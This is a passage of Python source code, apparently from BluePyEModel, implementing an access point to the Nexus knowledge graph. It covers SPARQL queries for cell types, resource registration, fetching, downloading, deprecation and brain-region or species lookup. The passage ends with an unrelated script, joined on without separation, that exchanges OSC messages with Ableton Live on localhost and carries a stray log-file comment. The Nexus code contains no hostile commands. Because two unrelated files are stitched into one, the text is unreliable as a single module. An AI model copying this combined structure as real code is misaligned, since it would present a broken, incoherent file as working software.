                    ?m_type_id label ?m_type ;
                        subClassOf* MType ;
            }}
        """
        # should we use self.limit here?
        resources = self.forge.sparql(query, limit=self.limit)
        if resources is None:
            return []
        return [r.m_type_id for r in resources]

    def get_available_ttypes(self):
        """Returns a list of nexus ids of all the ttype resources using sparql"""
        query = """
            SELECT ?t_type_id

            WHERE {{
                    ?t_type_id label ?t_type ;
                        subClassOf* BrainCellTranscriptomeType ;
            }}
        """
        # should we use self.limit here?
        resources = self.forge.sparql(query, limit=self.limit)
        if resources is None:
            return []
        return [r.t_type_id for r in resources]

    @staticmethod
    def get_access_token():
        """Define access token either from bbp-workflow or provided by the user"""

        try:
            access_token = refresh_token()
        except:  # noqa: E722
            logger.info("Please get your Nexus access token from https://bbp.epfl.ch/nexus/web/.")
            access_token = getpass.getpass()

        return access_token

    @staticmethod
    def connect_forge(bucket, endpoint, access_token, forge_path=None):
        """Creation of a forge session"""

        if not forge_path:
            forge_path = (
                "https://raw.githubusercontent.com/BlueBrain/nexus-forge/"
                + "master/examples/notebooks/use-cases/prod-forge-nexus.yml"
            )

        forge = KnowledgeGraphForge(
            forge_path, bucket=bucket, endpoint=endpoint, token=access_token
        )

        return forge

    def add_contribution(self, resource):
        """Add the contributing agent to the resource"""

        if self.agent:

            if isinstance(resource, Dataset):
                resource.add_contribution(self.agent, versioned=False)
            elif isinstance(resource, Resource):
                resource.contribution = Resource(type="Contribution", agent=self.agent)

        return resource

    def resolve(self, text, scope="ontology", strategy="all", limit=1):
        """Resolves a string to find the matching ontology"""

        if strategy == "all":
            resolving_strategy = ResolvingStrategy.ALL_MATCHES
        elif strategy == "best":
            resolving_strategy = ResolvingStrategy.BEST_MATCH
        elif strategy == "exact":
            resolving_strategy = ResolvingStrategy.EXACT_MATCH
        else:
            raise Exception(
                f"Resolving strategy {strategy} does not exist. "
                "Strategy should be 'all', 'best' or 'exact'"
            )

        return self.forge.resolve(text, scope=scope, strategy=resolving_strategy, limit=limit)

    def register(
        self,
        resource_description,
        filters_existance=None,
        replace=False,
        distributions=None,
    ):
        """Register a resource from its dictionary description."""

        if "type" not in resource_description:
            raise AccessPointException("The resource description should contain 'type'.")

        previous_resources = None
        if filters_existance:

            previous_resources = self.fetch(filters_existance)

        if filters_existance and previous_resources:

            if replace:
                for resource in previous_resources:
                    rr = self.retrieve(resource.id)
                    self.forge.deprecate(rr)

            else:
                logger.warning(
                    "The resource you are trying to register already exist and will be ignored."
                )
                return

        resource_description["objectOfStudy"] = {
            "@id": "http://bbp.epfl.ch/neurosciencegraph/taxonomies/objectsofstudy/singlecells",
            "@type": "nsg:ObjectOfStudy",
            "label": "Single Cell",
        }

        logger.debug("Registering resources: %s", resource_description)

        resource = self.forge.from_json(resource_description, na="None")
        resource = self.add_contribution(resource)

        if distributions:
            resource = Dataset.from_resource(self.forge, resource)
            for path in distributions:
                resource.add_distribution(path)

        self.forge.register(resource)

    def retrieve(self, id_):
        """Retrieve a resource based on its id"""

        resource = self.forge.retrieve(id=id_, cross_bucket=self.cross_bucket)

        if resource:
            return resource

        logger.debug("Could not retrieve resource of id: %s", id_)

        return None

    def fetch(self, filters):
        """Fetch resources based on filters.

        Args:
            filters (dict): keys and values used for the "WHERE". Should include "type" or "id".

        Returns:
            resources (list): list of resources
        """

        if "type" not in filters and "id" not in filters:
            raise AccessPointException("Search filters should contain either 'type' or 'id'.")

        logger.debug("Searching: %s", filters)

        resources = self.forge.search(
            filters,
            cross_bucket=self.cross_bucket,
            limit=self.limit,
            debug=self.debug,
            search_endpoint=self.search_endpoint,
        )

        if resources:
            return resources

        logger.debug("No resources for filters: %s", filters)

        return None

    def fetch_one(self, filters, strict=True):
        """Fetch one and only one resource based on filters."""

        resources = self.fetch(filters)

        if resources is None:
            if strict:
                raise AccessPointException(f"Could not get resource for filters {filters}")
            return None

        if len(resources) > 1:
            if strict:
                raise AccessPointException(f"More than one resource for filters {filters}")
            return resources[0]

        return resources[0]

    def download(self, resource_id, download_directory="./nexus_temp"):
        """Download datafile from nexus if it doesn't already exist."""

        resource = self.forge.retrieve(resource_id, cross_bucket=True)

        if resource is None:
            raise AccessPointException(f"Could not find resource for id: {resource_id}")

        if hasattr(resource, "distribution"):

            file_paths = []
            if isinstance(resource.distribution, list):
                for dist in resource.distribution:
                    if hasattr(dist, "name"):
                        file_paths.append(pathlib.Path(download_directory) / dist.name)
                    else:
                        raise AttributeError(
                            f"A distribution of the resource {resource.name} does "
                            "not have a file name."
                        )
            else:
                file_paths = [pathlib.Path(download_directory) / resource.distribution.name]

            if any(not fp.is_file() for fp in file_paths):
                self.forge.download(
                    resource, "distribution.contentUrl", download_directory, cross_bucket=True
                )

            return [str(fp) for fp in file_paths]

        return []

    def deprecate(self, filters):
        """Deprecate resources based on filters."""

        tmp_cross_bucket = self.cross_bucket
        self.cross_bucket = False

        resources = self.fetch(filters)

        if resources:
            for resource in resources:
                rr = self.retrieve(resource.id)
                if rr is not None:
                    self.forge.deprecate(rr)

        self.cross_bucket = tmp_cross_bucket

    def deprecate_all(self, metadata):
        """Deprecate all resources used or produced by BluePyModel. Use with extreme caution."""

        if not yesno("Confirm deprecation of all BluePyEmodel resources in Nexus project"):
            return

        for type_ in NEXUS_TYPE_TO_CLASS.keys():

            filters = {"type": type_}
            filters.update(metadata)

            self.deprecate(filters)

    def resource_location(self, resource):
        """Get the path of the files attached to a resource. If the resource is
        not located on gpfs, download it instead"""

        paths = []

        if not hasattr(resource, "distribution"):
            raise AccessPointException(f"Resource {resource} does not have distribution")

        if isinstance(resource.distribution, list):
            distribution_iter = resource.distribution
        else:
            distribution_iter = [resource.distribution]

        for distrib in distribution_iter:

            filepath = None

            if hasattr(distrib, "atLocation"):
                loc = self.forge.as_json(distrib.atLocation)
                if "location" in loc:
                    filepath = loc["location"].replace("file:/", "")

            if filepath is None:
                filepath = self.download(resource.id)[0]

            paths.append(filepath)

        return paths

    @staticmethod
    def resource_name(class_name, metadata):
        """Create a resource name from the class name and the metadata."""
        name_parts = [CLASS_TO_RESOURCE_NAME[class_name]]
        if "iteration" in metadata:
            name_parts.append(metadata["iteration"])
        if "emodel" in metadata:
            name_parts.append(metadata["emodel"])
        if "ttype" in metadata:
            name_parts.append(metadata["ttype"])

        return "__".join(name_parts)

    def object_to_nexus(self, object_, metadata_dict, metadata_str, replace=True):
        """Transform a BPEM object into a dict which gets registered into Nexus as
        the distribution of a Dataset of the matching type. The metadata
        are also attached to the object to be able to retrieve the Resource."""

        type_ = CLASS_TO_NEXUS_TYPE[object_.__class__.__name__]

        base_payload = {
            "type": ["Entity", type_],
            "name": self.resource_name(object_.__class__.__name__, metadata_dict),
        }
        payload_existance = {
            "type": type_,
            "name": self.resource_name(object_.__class__.__name__, metadata_dict),
        }

        base_payload.update(metadata_dict)
        payload_existance.update(metadata_dict)
        json_payload = object_.as_dict()

        path_json = f"{CLASS_TO_RESOURCE_NAME[object_.__class__.__name__]}__{metadata_str}.json"
        path_json = str((pathlib.Path("./nexus_temp") / path_json).resolve())

        distributions = [path_json]
        if "nexus_distributions" in json_payload:
            distributions += json_payload.pop("nexus_distributions")

        with open(path_json, "w") as fp:
            json.dump(json_payload, fp, indent=2)

        payload_existance.pop("annotation", None)

        self.register(
            base_payload,
            filters_existance=payload_existance,
            replace=replace,
            distributions=distributions,
        )

    def resource_to_object(self, type_, resource, metadata):
        """Transform a Resource into a BPEM object of the matching type"""

        file_paths = self.download(resource.id)
        json_path = next((fp for fp in file_paths if pathlib.Path(fp).suffix == ".json"), None)

        if json_path is None:
            # legacy case where the payload is in the Resource
            payload = self.forge.as_json(resource)

            for k in metadata:
                payload.pop(k, None)

            for k in NEXUS_ENTRIES:
                payload.pop(k, None)

        else:
            # Case in which the payload is in a .json distribution
            with open(json_path, "r") as f:
                payload = json.load(f)

        return NEXUS_TYPE_TO_CLASS[type_](**payload)

    def nexus_to_object(self, type_, metadata):
        """Search for a single Resource matching the type_ and metadata and return it
        as a BPEM object of the matching type"""

        filters = {"type": type_}
        filters.update(metadata)

        resource = self.fetch_one(filters)

        return self.resource_to_object(type_, resource, metadata)

    def nexus_to_objects(self, type_, metadata):
        """Search for Resources matching the type_ and metadata and return them
        as BPEM objects of the matching type"""

        filters = {"type": type_}
        filters.update(metadata)

        resources = self.fetch(filters)

        objects_ = []

        if resources:
            for resource in resources:
                objects_.append(self.resource_to_object(type_, resource, metadata))

        return objects_

    def get_nexus_id(self, type_, metadata):
        """Search for a single Resource matching the type_ and metadata and return its id"""
        filters = {"type": type_}
        filters.update(metadata)

        resource = self.fetch_one(filters)

        return resource.id

    @staticmethod
    def brain_region_filter(resources):
        """Filter resources to keep only brain regions

        Arguments:
            resources (list of Resource): resources to be filtered

        Returns:
            list of Resource: the filtered resources
        """
        return [
            r for r in resources if hasattr(r, "subClassOf") and r.subClassOf == "nsg:BrainRegion"
        ]

    def type_filter(self, resources, filter):
        """Filter resources to keep only etypes/mtypes/ttypes

        Arguments:
            resources (list of Resource): resources to be filtered
            filter (str): can be "etype", "mytype" or "ttype"

        Returns:
            list of Resource: the filtered resources
        """
        if filter == "etype":
            available_names = self.available_etypes
        elif filter == "mtype":
            available_names = self.available_mtypes
        elif filter == "ttype":
            available_names = self.available_ttypes
        else:
            raise AccessPointException(
                f'filter is {filter} but should be in ["etype", "mtype", "ttype"]'
            )
        return [r for r in resources if r.id in available_names]

    def filter_resources(self, resources, filter):
        """Filter resources

        Arguments:
            resources (list of Resource): resources to be filtered
            filter (str): which filter to use
                can be "brain_region", "etype", "mtype", "ttype"

        Returns:
            list of Resource: the filtered resources

        Raises:
            AccessPointException if filter not in ["brain_region", "etype", "mtype", "ttype"]
        """
        if filter == "brain_region":
            return self.brain_region_filter(resources)
        if filter in ["etype", "mtype", "ttype"]:
            return self.type_filter(resources, filter)

        filters = ["brain_region", "etype", "mtype", "ttype"]
        raise AccessPointException(
            f"Filter not expected in filter_resources: {filter}"
            f"Please choose among the following filters: {filters}"
        )

def ontology_forge_access_point(access_token=None):
    """Returns an access point targeting the project containing the ontology for the
    species and brain regions"""

    access_point = NexusForgeAccessPoint(
        project="datamodels",
        organisation="neurosciencegraph",
        endpoint="https://bbp.epfl.ch/nexus/v1",
        forge_path=None,
        access_token=access_token,
    )

    return access_point

def raise_not_found_exception(base_text, label, access_point, filter, limit=30):
    """Raise an exception mentioning the possible appropriate resource names available on nexus

    Arguments:
        base_text (str): text to display in the Exception
        label (str): name of the resource to search for
        access_point (NexusForgeAccessPoint)
        filter (str): which filter to use
            can be "brain_region", "etype", "mtype", or "ttype"
        limit (int): maximum number of resources to fetch when looking up
            for resource name suggestions
    """
    if not base_text.endswith("."):
        base_text = f"{base_text}."

    resources = access_point.resolve(label, strategy="all", limit=limit)
    if resources is None:
        raise AccessPointException(base_text)

    # make sure that resources is iterable
    if not isinstance(resources, list):
        resources = [resources]
    filtered_names = "\n".join(
        set(r.label for r in access_point.filter_resources(resources, filter))
    )
    if filtered_names:
        raise AccessPointException(f"{base_text} Maybe you meant one of those:\n{filtered_names}")

    raise AccessPointException(base_text)

def check_resource(label, category, access_point=None, access_token=None):
    """Checks that resource is present on nexus and is part of the provided category

    Arguments:
        label (str): name of the resource to search for
        category (str): can be "etype", "mtype" or "ttype"
        access_point (str):  ontology_forge_access_point(access_token)
    """
    allowed_categories = ["etype", "mtype", "ttype"]
    if category not in allowed_categories:
        raise AccessPointException(f"Category is {category}, but should be in {allowed_categories}")

    if access_point is None:
        access_point = ontology_forge_access_point(access_token)

    resource = access_point.resolve(label, strategy="exact")
    # raise Exception if resource was not found
    if resource is None:
        base_text = f"Could not find {category} with name {label}"
        raise_not_found_exception(base_text, label, access_point, category)

    # if resource found but not of the appropriate category, also raise Exception
    available_names = []
    if category == "etype":
        available_names = access_point.available_etypes
    elif category == "mtype":
        available_names = access_point.available_mtypes
    elif category == "ttype":
        available_names = access_point.available_ttypes
    if resource.id not in available_names:
        base_text = f"Resource {label} is not a {category}"
        raise_not_found_exception(base_text, label, access_point, category)

def get_brain_region(brain_region, access_token=None):
    """Returns a dict with id and label of the resource corresponding to the brain region

    If the brain region name is not present in nexus,
    raise an exception mentioning the possible brain region names available on nexus

    Arguments:
        brain_region (str): name of the brain region to search for
        access_token (str): nexus connection token

    Returns:
        dict: the id and label of the nexus resource of the brain region
    """

    filter = "brain_region"
    access_point = ontology_forge_access_point(access_token)

    if brain_region in ["SSCX", "sscx"]:
        brain_region = "somatosensory areas"

    resource = access_point.resolve(brain_region, strategy="exact")
    # try with capital 1st letter, or every letter lowercase
    if resource is None:
        # do not use capitalize, because it also make every other letter lowercase
        if len(brain_region) > 1:
            brain_region = f"{brain_region[0].upper()}{brain_region[1:]}"
        elif len(brain_region) == 1:
            brain_region = brain_region.upper()
        resource = access_point.resolve(brain_region, strategy="exact")

        if resource is None:
            resource = access_point.resolve(brain_region.lower(), strategy="exact")

    # raise Exception if resource was not found
    if resource is None:
        base_text = f"Could not find any brain region with name {brain_region}"
        raise_not_found_exception(base_text, brain_region, access_point, filter)

    # if resource found but not a brain region, also raise Exception
    if not hasattr(resource, "subClassOf") or resource.subClassOf != "nsg:BrainRegion":
        base_text = f"Resource {brain_region} is not a brain region"
        raise_not_found_exception(base_text, brain_region, access_point, filter)

    # if no exception was raised, filter to get id and label and return them
    brain_region_dict = access_point.forge.as_json(resource)
    return {
        "id": brain_region_dict["id"],
        "label": brain_region_dict["label"],
    }

def get_all_species(access_token=None):

    access_point = ontology_forge_access_point(access_token)

    resources = access_point.forge.search({"subClassOf": "nsg:Species"}, limit=100)

    return sorted(set(r.label for r in resources))


# Log File:
# /Users/jor/Library/Preferences/Ableton/Live 11.2.6
from pythonosc import udp_client
from pythonosc.dispatcher import Dispatcher
from pythonosc.osc_server import BlockingOSCUDPServer

import threading
import time

ip = "127.0.0.1"
to_ableton = 11000
from_ableton = 11001

def serve():
    def print_handler(address, *args):
        print(args)
    dispatcher = Dispatcher()
    dispatcher.map("*", print_handler)
    server = BlockingOSCUDPServer((ip, from_ableton), dispatcher)
    time.sleep(0.1)
    server.serve_forever()  #Blocks

def client():
    client = udp_client.SimpleUDPClient(ip, to_ableton)
    client.send_message("Hello Ableton, how are you?", None)
    #client.send_message('/live/song/get/tempo', None)
    time.sleep(0.1)

t1 = threading.Thread(target=serve)
t1.start()
client()